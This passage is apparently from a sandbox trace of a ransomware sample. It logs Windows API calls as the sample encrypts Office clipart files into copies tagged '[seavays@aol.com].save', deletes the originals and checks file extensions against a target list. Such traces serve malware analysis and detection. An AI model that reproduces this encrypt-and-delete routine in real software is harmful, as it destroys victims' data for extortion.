lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.717] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.717] SetEndOfFile (hFile=0x39c) returned 1 [0075.718] CloseHandle (hObject=0x39c) returned 1 [0075.718] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.718] SetEndOfFile (hFile=0x348) returned 1 [0075.719] CloseHandle (hObject=0x348) returned 1 [0075.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0075.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0075.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0075.720] lstrlenW (lpString=".doc") returned 4 [0075.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.720] lstrlenW (lpString=".docx") returned 5 [0075.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.720] lstrlenW (lpString=".pdf") returned 4 [0075.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.720] lstrlenW (lpString=".xls") returned 4 [0075.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.720] lstrlenW (lpString=".xlsx") returned 5 [0075.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.720] lstrlenW (lpString=".ppt") returned 4 [0075.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0075.720] lstrlenW (lpString=".zip") returned 4 [0075.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.720] lstrlenW (lpString=".rar") returned 4 [0075.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.720] lstrlenW (lpString=".bz2") returned 4 [0075.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.720] lstrlenW (lpString=".7z") returned 3 [0075.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0075.721] lstrlenW (lpString=".dbf") returned 4 [0075.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0075.721] lstrlenW (lpString=".1cd") returned 4 [0075.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0075.721] lstrlenW (lpString=".jpg") returned 4 [0075.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.722] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.722] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0075.723] GetLastError () returned 0x0 [0075.723] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0075.725] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xa50, lpOverlapped=0x0) returned 1 [0075.726] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.726] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.726] SetEndOfFile (hFile=0x39c) returned 1 [0075.726] CloseHandle (hObject=0x39c) returned 1 [0075.726] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.726] SetEndOfFile (hFile=0x348) returned 1 [0075.727] CloseHandle (hObject=0x348) returned 1 [0075.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0075.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0075.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0075.728] lstrlenW (lpString=".doc") returned 4 [0075.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.728] lstrlenW (lpString=".docx") returned 5 [0075.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.728] lstrlenW (lpString=".pdf") returned 4 [0075.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.728] lstrlenW (lpString=".xls") returned 4 [0075.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.728] lstrlenW (lpString=".xlsx") returned 5 [0075.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.728] lstrlenW (lpString=".ppt") returned 4 [0075.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0075.728] lstrlenW (lpString=".zip") returned 4 [0075.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.728] lstrlenW (lpString=".rar") returned 4 [0075.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.728] lstrlenW (lpString=".bz2") returned 4 [0075.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.729] lstrlenW (lpString=".7z") returned 3 [0075.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0075.729] lstrlenW (lpString=".dbf") returned 4 [0075.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0075.729] lstrlenW (lpString=".1cd") returned 4 [0075.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0075.729] lstrlenW (lpString=".jpg") returned 4 [0075.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.729] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.729] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0075.730] GetLastError () returned 0x0 [0075.730] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1510, lpOverlapped=0x0) returned 1 [0075.733] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1520, lpOverlapped=0x0) returned 1 [0075.734] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.735] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.735] SetEndOfFile (hFile=0x39c) returned 1 [0075.735] CloseHandle (hObject=0x39c) returned 1 [0075.735] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.735] SetEndOfFile (hFile=0x348) returned 1 [0075.736] CloseHandle (hObject=0x348) returned 1 [0075.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0075.737] lstrlenW (lpString=".doc") returned 4 [0075.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.737] lstrlenW (lpString=".docx") returned 5 [0075.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.737] lstrlenW (lpString=".pdf") returned 4 [0075.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.737] lstrlenW (lpString=".xls") returned 4 [0075.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.737] lstrlenW (lpString=".xlsx") returned 5 [0075.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.737] lstrlenW (lpString=".ppt") returned 4 [0075.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0075.737] lstrlenW (lpString=".zip") returned 4 [0075.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.737] lstrlenW (lpString=".rar") returned 4 [0075.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.737] lstrlenW (lpString=".bz2") returned 4 [0075.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.737] lstrlenW (lpString=".7z") returned 3 [0075.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0075.737] lstrlenW (lpString=".dbf") returned 4 [0075.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0075.737] lstrlenW (lpString=".1cd") returned 4 [0075.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0075.738] lstrlenW (lpString=".jpg") returned 4 [0075.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.738] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.738] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0075.739] GetLastError () returned 0x0 [0075.739] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x670, lpOverlapped=0x0) returned 1 [0075.741] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x680, lpOverlapped=0x0) returned 1 [0075.742] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.742] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.742] SetEndOfFile (hFile=0x39c) returned 1 [0075.742] CloseHandle (hObject=0x39c) returned 1 [0075.742] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.742] SetEndOfFile (hFile=0x348) returned 1 [0075.743] CloseHandle (hObject=0x348) returned 1 [0075.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0075.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0075.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0075.745] lstrlenW (lpString=".doc") returned 4 [0075.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.745] lstrlenW (lpString=".docx") returned 5 [0075.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.745] lstrlenW (lpString=".pdf") returned 4 [0075.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.745] lstrlenW (lpString=".xls") returned 4 [0075.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.745] lstrlenW (lpString=".xlsx") returned 5 [0075.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.745] lstrlenW (lpString=".ppt") returned 4 [0075.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0075.745] lstrlenW (lpString=".zip") returned 4 [0075.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.745] lstrlenW (lpString=".rar") returned 4 [0075.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.745] lstrlenW (lpString=".bz2") returned 4 [0075.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.745] lstrlenW (lpString=".7z") returned 3 [0075.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0075.745] lstrlenW (lpString=".dbf") returned 4 [0075.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0075.745] lstrlenW (lpString=".1cd") returned 4 [0075.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0075.745] lstrlenW (lpString=".jpg") returned 4 [0075.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.746] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.746] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0075.747] GetLastError () returned 0x0 [0075.747] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xc38, lpOverlapped=0x0) returned 1 [0076.166] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xc40, lpOverlapped=0x0) returned 1 [0076.167] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.167] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.167] SetEndOfFile (hFile=0x39c) returned 1 [0076.168] CloseHandle (hObject=0x39c) returned 1 [0076.168] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.168] SetEndOfFile (hFile=0x348) returned 1 [0076.169] CloseHandle (hObject=0x348) returned 1 [0076.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0076.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0076.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0076.170] lstrlenW (lpString=".doc") returned 4 [0076.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.170] lstrlenW (lpString=".docx") returned 5 [0076.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.170] lstrlenW (lpString=".pdf") returned 4 [0076.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.170] lstrlenW (lpString=".xls") returned 4 [0076.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.171] lstrlenW (lpString=".xlsx") returned 5 [0076.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.171] lstrlenW (lpString=".ppt") returned 4 [0076.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0076.171] lstrlenW (lpString=".zip") returned 4 [0076.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.171] lstrlenW (lpString=".rar") returned 4 [0076.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.171] lstrlenW (lpString=".bz2") returned 4 [0076.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.171] lstrlenW (lpString=".7z") returned 3 [0076.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0076.171] lstrlenW (lpString=".dbf") returned 4 [0076.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0076.171] lstrlenW (lpString=".1cd") returned 4 [0076.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0076.171] lstrlenW (lpString=".jpg") returned 4 [0076.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.172] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.172] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0076.173] GetLastError () returned 0x0 [0076.173] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x3960, lpOverlapped=0x0) returned 1 [0076.174] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x3970, lpOverlapped=0x0) returned 1 [0076.175] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.176] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.176] SetEndOfFile (hFile=0x39c) returned 1 [0076.176] CloseHandle (hObject=0x39c) returned 1 [0076.176] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.176] SetEndOfFile (hFile=0x348) returned 1 [0076.177] CloseHandle (hObject=0x348) returned 1 [0076.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0076.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0076.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0076.178] lstrlenW (lpString=".doc") returned 4 [0076.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.178] lstrlenW (lpString=".docx") returned 5 [0076.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.178] lstrlenW (lpString=".pdf") returned 4 [0076.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.178] lstrlenW (lpString=".xls") returned 4 [0076.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.178] lstrlenW (lpString=".xlsx") returned 5 [0076.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.178] lstrlenW (lpString=".ppt") returned 4 [0076.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0076.178] lstrlenW (lpString=".zip") returned 4 [0076.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.178] lstrlenW (lpString=".rar") returned 4 [0076.178] 